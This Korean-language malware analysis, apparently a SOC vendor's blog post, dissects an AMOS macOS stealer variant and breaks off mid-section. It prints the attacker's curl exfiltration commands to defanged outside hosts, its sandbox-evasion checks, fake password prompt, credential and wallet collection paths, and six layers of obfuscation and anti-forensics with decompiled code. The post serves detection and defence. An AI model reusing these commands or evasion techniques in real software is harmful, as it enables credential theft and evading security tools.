알려지지 않은 AMOS 스틸러의 해부: 알림에서 몇 시간 만에 면역까지

지금까지 문서화되지 않은 AMOS 스틸러 변종이 macOS 엔드포인트를 침해했습니다. 알려진 해시도, 공개 데이터베이스의 C2 데이터도 없었습니다. 우리 SOC는 여섯 겹의 난독화 계층을 해체하고 모든 지표를 추출한 뒤, 업계가 이 샘플을 미처 보기도 전에 몇 시간 만에 모든 SOC 고객에게 보호를 배포했습니다.

알려지지 않은 AMOS 스틸러의 해부: 알림에서 몇 시간 만에 면역까지

우리 SOC에서 알림이 발생하면 시계가 돌아가기 시작합니다. 해당 고객뿐 아니라 우리 보호 아래에 있는 모든 조직에 대해서 말입니다. 현대 위협 환경에서 가장 위험한 순간은 인텔리전스 갭(Intelligence Gap), 즉 새로운 멀웨어 변종이 처음 사용된 시점과 업계가 그것을 알게 되는 날 사이의 시간 창입니다.

독립적으로 운영되는 보안 팀에게 이 간극은 극도의 취약성을 의미합니다. 아직 작성되지도 않은 벤더 업데이트나 시그니처 피드를 기다려야 하기 때문입니다. 우리 고객에게는 우리가 자체 개발한 Shared Threat Intelligence가 바로 이 창을 닫아 줍니다.

이 글은 지금까지 문서화되지 않은 AMOS 변종(Atomic macOS Stealer)을 우리가 어떻게 해체했는지, 그리고 단 하나의 침해된 엔드포인트가 어떻게 몇 시간 만에 우리의 모든 고객 환경을 아우르는 탐지와 차단으로 이어졌는지에 대한 기술적 분석입니다.


사건: 알려지지 않은 IOC 시나리오

알림은 2026년 3월 12일 현지 시각 06시 25분에 도착했습니다. macOS 엔드포인트 하나가 침해된 것입니다. 우리 SOC가 아티팩트 분석에 착수했을 때, 우리는 모든 위협 분석가가 두려워하는 상황에 직면했습니다. 알려진 파일 해시도, C2 IP 주소도, 공개 데이터베이스에서 의미 있는 행위 시그니처도 없었습니다.

전체 공격 아키텍처는 심층 분석에 이르러서야 드러났습니다. 이 감염은 /private/tmp/helper에 저장된 15.7MB 크기의 macOS 유니버설 바이너리(x86_64 및 ARM64)에 기반하고 있었습니다. 샘플은 침해된 시스템에서 직접 확보할 수 없었기에, 우리 팀은 감염 체인을 재구성하고 최초의 전송 요청을 시뮬레이션하여 공격자 인프라에서 바이너리를 수동으로 가져와야 했습니다.


1단계: 샌드박스 점검

실제 스틸러가 기기에서 실행되기 전에, 이미 AppleScript 페이로드가 한 차례 실행된 상태였습니다. 그 안의 모든 문자열, 모든 파일 경로, 모든 셸 명령, 모든 URL이 세 개의 사용자 정의 산술 함수를 통해 인코딩되어 있었습니다:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

단 하나의 문자열도 평문으로 나타나지 않습니다. 언뜻 의미 없는 정수 배열처럼 보였던 것이, 인코딩 방식을 역으로 풀어내자 완전하고 즉시 사용 가능한 데이터 탈취 및 유출 프레임워크로 드러났습니다.

우리는 스크립트의 모든 배열을 정적으로 디코딩했습니다. 결과는 명확했습니다:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

다운로드 URL은 개발자와 DevOps 엔지니어 사이에서 널리 쓰이는 도구인 정상적인 n8n 워크플로 자동화 업데이트를 의도적으로 모방합니다. 이는 우연이 아닙니다. 이 캠페인은 크랙된 소프트웨어를 설치하는 일반 최종 사용자가 아니라, 기술적으로 숙련된 사용자를 겨냥합니다.

안티 샌드박스 검사

다운로드에 앞서 스크립트는 전용 VM 및 샌드박스 탐지 루틴을 실행했습니다. 인시던트 아티팩트로부터 우리는 별도의 독립적인 안티 샌드박스 스크립트도 복원할 수 있었습니다:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

그런 다음 스크립트는 그 결과를 두 개의 목록과 대조했습니다. 첫 번째 목록은 메모리 데이터에서 가상화 표식을 찾았습니다:

"QEMU"   "VMware"   "KVM"

두 번째 목록은 하드웨어 식별자를 알려진 분석 장비의 일련번호 목록과 대조했습니다:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

일치하는 항목이 있으면 exit 100으로 완전히 중단합니다. Apple Silicon을 탑재한 실제 MacBook Pro에서는 모든 검사가 조용히 통과되었고, 실행이 계속되었습니다. 바이너리의 단 1바이트가 다운로드되기도 전에 작동하는, 전문가 수준의 샌드박스 회피 기법입니다.

단순하지만 효과적인 방식: 위조된 비밀번호 입력창

디코딩된 스크립트에는 소셜 엔지니어링을 통한 권한 상승용 대화상자도 들어 있었습니다:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

이 대화상자는 with hidden answer 옵션이 붙은 표준 macOS display dialog 호출을 통해 표시되며, 겉보기에 실제 macOS 인증 요청과 구별할 수 없습니다. 스크립트는 입력된 비밀번호를 사용해 login -pf <username>를 호출했고, 바이너리가 실행되기도 전에 프로세스를 루트 권한으로 상승시켰습니다.

스크립트가 수집한 것

바이너리가 실행되자마자 osascript는 자체 수집 절차를 이어가며 모든 범주의 민감한 시스템 데이터를 빼내기 시작했습니다. 우리는 모든 수집 경로와 대상을 디코딩했습니다:

브라우저 데이터(모든 Chromium 브라우저 + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

카운터 헤더와 함께 전체 내용을 HTML로 내보냄

로컬 파일

데스크톱과 문서 폴더, 최대 30MB, 다음 확장자에 집중:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

암호화폐 지갑

MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI, Exodus를 포함해 모든 주요 지갑을 아우르는 200개가 넘는 브라우저 확장 프로그램 ID의 하드코딩된 목록입니다.

수집이 끝나면 모든 데이터가 무작위로 이름 붙여진 임시 디렉터리에 묶여 유출되었습니다:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

정리 작업이 곧바로 뒤따랐습니다:

rm -r <staging_dir>
rm /tmp/out.zip

2단계: 'helper' 바이너리 리버스 엔지니어링

helper 바이너리는 이 분석이 정말로 깊이 파고드는 부분입니다. 이것은 정적 분석을 체계적으로 방해하도록 전문적으로 난독화된 macOS 실행 파일로, 이번 조사에서 가장 큰 리버스 엔지니어링 노력을 요구했습니다.

전체 분석은 Ghidra와 우리의 사용자 정의 ARM64 분석 워크플로로 수행했습니다.

파일 속성

속성 값
포맷 Mach-O Universal Binary
아키텍처 x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
크기 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

실행은 main() 이전에 시작된다

우리가 Ghidra에서 가장 먼저 확인한 사실은, 이 바이너리가 일반적인 실행 파일처럼 동작하지 않는다는 점이었습니다. 실제 진입점은 main()이 아니라 __mod_init_func에 등록된 함수입니다. 이는 동적 링커(dyld)에게 바이너리 로드 시 특정 함수를 자동으로, 그것도 실질적인 코드가 실행되기 전에 실행하도록 지시하는 macOS 메커니즘입니다.

0x10009f384에 있는 init 함수가 이 멀웨어의 실제 진입점입니다. 다음은 Ghidra 디컴파일 결과입니다:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

두 가지가 즉시 눈에 띕니다. 첫째, 시작 시점의 894마이크로초 usleep, 즉 안티 샌드박스 타이밍 신호입니다. 더 심각한 것은 0x10009f43c에 있는 간접 점프 테이블입니다. 이것은 목표 주소가 실행 시점에 룩업 테이블에서 결정되는 계산된 분기(branch)입니다. 정적 분석 도구는 제어 흐름 그래프를 재구성할 수 없으며, Ghidra는 실행 경로를 추적하려는 과정에서 여러 개의 “unreachable block” 경고를 기록했습니다. 이는 의도된 것입니다.

이 점프 테이블은 14개 상태로 이루어진 실행 머신을 구동합니다. 각 상태는 복호화 및 실행 파이프라인의 개별적이고 독립된 단계 하나를 수행합니다. 상태 카운터는 각 단계 이후 갱신되며, 머신은 모든 상태를 거칠 때까지 실행됩니다.

상태 디스패처의 ARM64 디스어셈블리

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

여섯 겹으로 쌓인 난독화 계층

이 바이너리는 서로 다른 여섯 개의 난독화 계층을 사용하며, 이들은 각 계층의 출력이 다음 계층으로 입력되도록 쌓이고 연결되어 있습니다. 모든 페이로드, 모든 문자열, 모든 내부 상수가 인코딩되어 있습니다. __const 세그먼트에는 의미 있는 어떤 것도 평문으로 나타나지 않습니다. 이어지는 내용은 개별 ARM64 명령어 수준까지 Ghidra에서 직접 검증한 완전한 계층별 분석입니다. 사용된 각 기법은 개별적으로는 잘 알려진 것이지만, 여러 단계에 걸쳐 연결해 적용함으로써 정적·동적 분석을 상당히 어렵게 만드는, 서로 강하게 의존하는 실행 흐름이 만들어졌습니다.


계층 1: 컴파일 타임 트리플렛 인코딩

바이너리 내의 어떤 문자열도 문자 시퀀스로 저장되어 있지 않고, 12바이트 산술 트리플렛의 시퀀스로 저장되어 있습니다. 각 트리플렛 (a, b, shift)은 정확히 하나의 출력 문자를 인코딩합니다. 인코딩 방식은 컴파일 타임에 적용되므로, 어떤 문자열도 로드 시점에 일시적으로조차 바이너리 안에 평문으로 존재하지 않습니다.

두 개의 별도 디코더 함수가 서로 다른 문자열 크기를 처리합니다. 0x100087c08에 있는 FUN_100087c08은 60자 문자열(DAT_1006292cc에서 가져온 720바이트 입력 데이터)을 디코딩합니다. 0x10007ad80에 있는 FUN_10007ad80은 56자 문자열(DAT_10049708c에서 가져온 672바이트)을 디코딩합니다. 둘 다 동일한 알고리즘을 사용합니다.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

다음은 대응하는 ARM64 어셈블리로, 각 명령어가 공식의 연산 하나에 직접 대응합니다:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

주목할 점은 곱셈 b × 3이 add w12, w11, w11, LSL #1로, 즉 곱셈 명령어를 완전히 피하는 시프트 앤 애드(shift-and-add)로 구현되어 있다는 것입니다. 이는 고전적인 컴파일러 최적화이면서, 동시에 시그니처 매칭으로 코드를 찾아내기 어렵게 만듭니다.

전체 디코딩 공식:

char = ASR( (b × 3) XOR a, shift ) − b

ASR(산술 오른쪽 시프트)는 결정적으로 중요합니다. 부호 비트를 보존하기 때문입니다. (b×3) XOR a의 중간 결과가 음수일 때, 이는 자주 일어나는데, 논리 시프트를 쓰면 전혀 다른 결과가 나옵니다. 이는 의도된 것입니다. 이 공식을 고급 프로그래밍 언어에서 >>로 다시 구현하는 사람은 부호 있는 산술을 명시적으로 고려하지 않는 한 조용히 잘못된 출력을 얻게 됩니다.

56자 변형인 FUN_10007ad80은 구조적으로 동일하며, 0x38의 루프 한계로 DAT_10049708c를 대상으로 작동합니다. 두 함수 모두 이번 분석 중 Ghidra에서 실시간으로 확인했습니다.


계층 2: 헥스 문자열 인코딩

계층 1이 생성한 원시 바이트는 그 자체가 이진 데이터가 아니라 ASCII 헥스 문자입니다. 계층 1 트리플렛 디코드의 출력은 헥스 쌍으로 이루어진 문자열입니다: 32694e5462.... 이는 0x100000dc0에 있는 디코더 함수 FUN_100000dc0에서 확인되며, 이 함수는 DAT_1007bb591에 있는 룩업 테이블을 통한 헥스 디코드를 구현합니다.

Ghidra 디컴파일 결과는 각 헥스 문자(0x30-0x39, 0x41-0x46, 0x61-0x66)를 해당 니블(nibble) 값으로 매핑하고 출력 바이트를 한 번에 두 문자씩 조립하는 switch 문을 보여줍니다:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64 어셈블리는 이를 보조 계산 분기 테이블로 구동하며, 사실상 switch를 위한 55개 항목의 점프 테이블을 구현합니다:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

24바이트 구간 안에 두 개의 계산된 분기가 있습니다. 두 분기 목표 모두 분석 시점에 알 수 없기 때문에, 정적 분석 도구는 이 패턴을 제대로 처리하지 못합니다.

137,208자 길이의 헥스 문자열은 디코딩 후 68,604바이트가 되며, 이는 계층 3으로 입력됩니다.


계층 3: 사용자 정의 16심볼 니블 알파벳

계층 2에서 나온 68,604개의 출력 바이트는 서로 떨어진 두 개의 ASCII 구간에서 나온 16개의 고유한 바이트 값만 사용합니다:

  • 0x20-0x2F: 공백, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

이는 의도적인 설계 결정입니다. 헥스 편집기에서 이 바이트들은 공백, 문장 부호, ASCII 경계 문자처럼 보이며, 메타데이터나 패딩처럼 여겨지는 잡음 속에 묻힙니다. 헥스 덤프를 훑어보는 분석가는 이 바이트 구간을 의심스러운 것으로 표시하지 않으며, 바이트 분포가 무작위로 보이지 않기 때문에 표준 엔트로피 분석은 실제 엔트로피를 과소평가합니다.

이 알파벳의 각 바이트는 실제 페이로드의 니블 하나를 인코딩합니다. 알파벳-니블 매핑은 우리가 0x100000d60에서 확인한 인코드/디코드 함수 FUN_100000d60이 적용합니다. 이 함수는 두 개의 하위 함수를 연결합니다. FUN_100000b50은 입력 문자열의 문자들에 대한 인덱싱된 맵을 만들고, FUN_100000c34는 이 맵을 순회하며 단계마다 6비트를 소비하고 출력 바이트를 8비트씩 누적합니다:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

이 과정에서 나온 34,302바이트는 99.7%가 인쇄 가능한 ASCII입니다. 언뜻 훑어보면 이 단계의 페이로드는 커다란 셸 스크립트나 설정 blob처럼 보입니다.


계층 4: 컴파일 타임 문자열 난독화

내부적으로 사용되는 문자열은 계층 1과 동일한 트리플렛 방식으로 컴파일 타임에 난독화되고, 실행 시점에 사용 직전에야 재구성됩니다. 메모리에는 필요 이상으로 오래 머물지 않으며, 버퍼는 사용 후 즉시 해제됩니다. 바이너리의 정적 데이터 섹션에는 어느 시점에도 디코딩된 문자열이 보이지 않습니다.

문자열 해시 함수 FUN_100000730은 문자열 비교를 위한 2차 난독화 계층을 제공합니다. 문자열을 직접 비교하면 메모리에 평문이 남게 되므로, 바이너리는 대신 정수 해시를 계산해 비교합니다:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

ARM64 어셈블리는 곱셈을 fused multiply-add로 대체합니다:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

이는 바이너리 내부에서 두 문자열을 비교하더라도 디버거가 문자열 수준에서 깔끔하게 잡아낼 수 있는 분기가 생기지 않고, 오직 해시 수준의 분기만 생긴다는 뜻입니다.


계층 5: 이중 커스텀 스트림 암호 인스턴스

이 지점에서 난독화 아키텍처는 이례적인 양상을 띱니다. 바이너리에서는 하나가 아니라 두 개의 별도 암호 인스턴스가 실행되며, 각각 서로 다른 하드코딩된 룩업 테이블과 서로 다른 시작 카운터를 가집니다. 둘은 동일한 알고리즘 구조를 사용하지만, 페이로드 파이프라인의 서로 다른 부분을 위해 서로 다른 출력 알파벳을 생성합니다.

인스턴스 A, 0x10007ab34에 있는 FUN_10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

인스턴스 B, 0x10007a7e0에 있는 FUN_10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

알고리즘은 구조적으로 동일하지만 시작 카운터가 다르고(0x4c 대 0x9f) 룩업 테이블도 서로 다른 메모리 주소에 위치합니다. 인스턴스 A는 첫 번째 페이로드 경로를 위한 인코딩 알파벳을 생성하기 위해 상태 머신의 상태 11에서 호출됩니다. 인스턴스 B는 커다란 셸 스크립트 페이로드의 디코드를 위한 알파벳을 생성하기 위해 상태 6에서 호출됩니다.

정확히 말하면 이것은 카운터 의존적 인덱스를 갖는 치환 암호입니다. 각 출력 바이트는 인덱스가 (input_byte XOR counter) & 0xFF인 테이블 룩업입니다. 카운터는 각 바이트 이후 counter = (i + (counter XOR output)) & 0xFF로 갱신되며, 이는 각 출력 바이트가 다음 룩업 인덱스의 결정에 영향을 준다는 뜻입니다. 이로써 전체 출력 시퀀스에 걸친 의존성 체인이 만들어집니다. 바이트 N은 바이트 0부터 N-1까지를 올바르게 복호화하지 않으면 복호화할 수 없습니다. 이 때문에 부분 복호화나 오류 분석이 상당히 어려워집니다.

두 인스턴스 모두 표준 RC4가 아닙니다. S-박스 초기화 단계도, S-박스 교환(swap) 연산도 없습니다. 룩업 테이블은 컴파일 타임에 내장된 정적 상수입니다.


계층 6: 종료 코드에 의존하는 키를 사용하는 런타임 XOR

마지막이자 분석적으로 가장 까다로운 계층은 2단계 페이로드에 in-place XOR 변환을 적용합니다. XOR 키는 하드코딩되어 있지 않고 첫 번째 셸 페이로드 실행의 종료 코드에서 실행 시점에 유도되므로, 원리상 정적 분석으로는 결정할 수 없습니다. 키가 존재하려면 바이너리가 실제로 실행되어 첫 번째 셸 스크립트가 끝까지 돌아야 합니다.

ARM64 상태 머신 디스패처 내의 키 유도 시퀀스:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

2단계 페이로드를 처리하는 XOR 루프:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

이 키는 16비트 값으로, 첫 번째 셸 페이로드의 종료 상태 바이트에서 유도되어 0x7f0을 곱한 뒤 상태 머신의 기준 카운터 레지스터 w26의 현재 값에 더해집니다. 곱셈 상수 0x7f0은 종료 코드의 단일 비트 차이가 완전히 다른 키를 만들어내게 합니다. 인접한 키 값 사이에는 악용할 수 있는 연속성이 없습니다.

바이너리를 통제된 환경에서 실행하여 첫 번째 셸 페이로드의 정확한 종료 코드를 기록하지 않으면, 2단계 페이로드는 정적 분석에 대해 영구적으로 불투명하게 남습니다. 이것이 전체 분석에서 가장 어려운 관문이었습니다.


셸 실행: 인자 대신 파이프, 그리고 SIMD XOR

0x10000091c에 있는 셸 실행 함수 FUN_10000091c은 이 바이너리에서 아키텍처적으로 가장 흥미로운 구성 요소입니다. 여기서 모든 것이 한데 모입니다. 디코딩된 페이로드, 난독화된 명령 이름, 그리고 명시적인 안티 포렌식 설계가 그것입니다. 이 함수의 모든 설계 결정은 특정한 회피 목적을 지향합니다.

1단계: 명령 이름은 결코 평문으로 나타나지 않는다

/bin/zsh는 바이너리 어디에도 평문으로 존재하지 않습니다. 0x1007bb5c8의 __cstring 섹션에는 이 문자열이 난독화된 바이트 \x01LG@\x01T]F로 들어 있습니다. 디코딩은 실행 시점에 단일 XOR 연산으로 이루어지며, ARM64 어셈블리에서 직접 검증할 수 있습니다:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR 키는 0x2e, 즉 .(마침표)의 ASCII 값입니다. 디코딩은 단일 eor v0.8B, v0.8B, v1.8B 명령으로 이루어지는데, 이는 8바이트 전체를 동시에 XOR하는 ARM64 NEON 벡터 명령입니다. 단순한 8바이트 디코드에 SIMD 명령을 사용하는 것은 이례적이며 두 가지 효과가 있습니다. 바이트 단위 루프보다 빠르고, 생성되는 명령 패턴이 시그니처 매칭 도구가 학습한 스칼라 디코드 루프와 근본적으로 다릅니다.

검증은 간단합니다. 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, 즉 첫 네 바이트가 /bin이 됩니다.

2단계: 파이프 아키텍처

명령 이름을 디코딩한 뒤, 함수는 OS 파이프를 만들고 fork합니다:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

자식 프로세스에서:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

자식 프로세스는 자신의 표준 입력을 파이프의 읽기 끝으로 대체하고 /bin/zsh -s를 시작합니다. -s 모드에서 셸은 stdin에서 명령을 읽습니다. 프로세스 모니터링 도구에게 이 프로세스는 인자 없는 /bin/zsh -s로 보이며, 정상적인 대화형 셸 세션과 구별되지 않습니다.

3단계: 가변 크기 청크 쓰기

부모 프로세스는 복호화된 페이로드를 의도적으로 변화하는 청크 크기로 파이프의 쓰기 끝에 씁니다:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

청크 크기 공식 (remaining_length % 192) + 64는 남은 페이로드 길이에 따라 write 호출당 64에서 255바이트 사이의 값을 만들어냅니다. 이 가변 쓰기 패턴은 ktrace나 dtrace 같은 커널 이벤트 추적 도구에는 보이지만, 인식 가능한 고정 크기 시그니처를 만들지는 않습니다. 동일한 페이로드를 실행할 때마다 서로 다른 write() 시스템 호출 크기 시퀀스가 생성됩니다.

청크 사이의 1마이크로초 usleep은 두 번째 목적을 지닙니다. 쓰기 작업 사이에 CPU를 양보하여 CPU 사용률을 낮게 유지하고, 행위 기반 EDR 규칙이 비정상적인 버스트 I/O로 표시할 수 있는 갑작스러운 급증을 피합니다.

4단계: 즉각적인 메모리 정리

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

